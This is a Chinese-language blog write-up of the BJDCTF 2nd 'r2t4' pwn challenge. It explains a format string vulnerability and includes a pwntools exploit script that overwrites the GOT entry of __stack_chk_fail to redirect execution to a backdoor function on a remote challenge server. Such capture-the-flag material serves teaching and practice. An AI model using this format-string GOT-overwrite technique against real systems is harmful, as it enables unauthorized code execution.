[BJDCTF 2nd] r2t4

最新推荐文章于 2022-03-08 23:45:34 发布

夏了茶糜

最新推荐文章于 2022-03-08 23:45:34 发布

阅读量860

点赞数

分类专栏： CTF-PWN 文章标签：安全漏洞

本文链接：https://blog.csdn.net/qin9800/article/details/105069508

版权

CTF-PWN 专栏收录该内容

11 篇文章 0 订阅

订阅专栏

题目下载地址:点此下载
查保护
在这里插入图片描述
此处存在格式化字符串漏洞

利用格式化字符串漏洞复写got表中的__stack_chk_fail地址，这个函数的作用是，当程序出现栈溢出的时候执行此函数，利用格式化字符串漏洞把这个函数的got表地址覆盖为后门函数
在这里插入图片描述

EXP：

from pwn import *
 
context(arch='amd64',os='linux',word_size='64')
#p = process('./r2t4')

p = remote("node3.buuoj.cn",27166)
elf = ELF('./r2t4')
__stack_chk_fail = elf.got['__stack_chk_fail']

payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
p.sendline(payload)
p.interactive()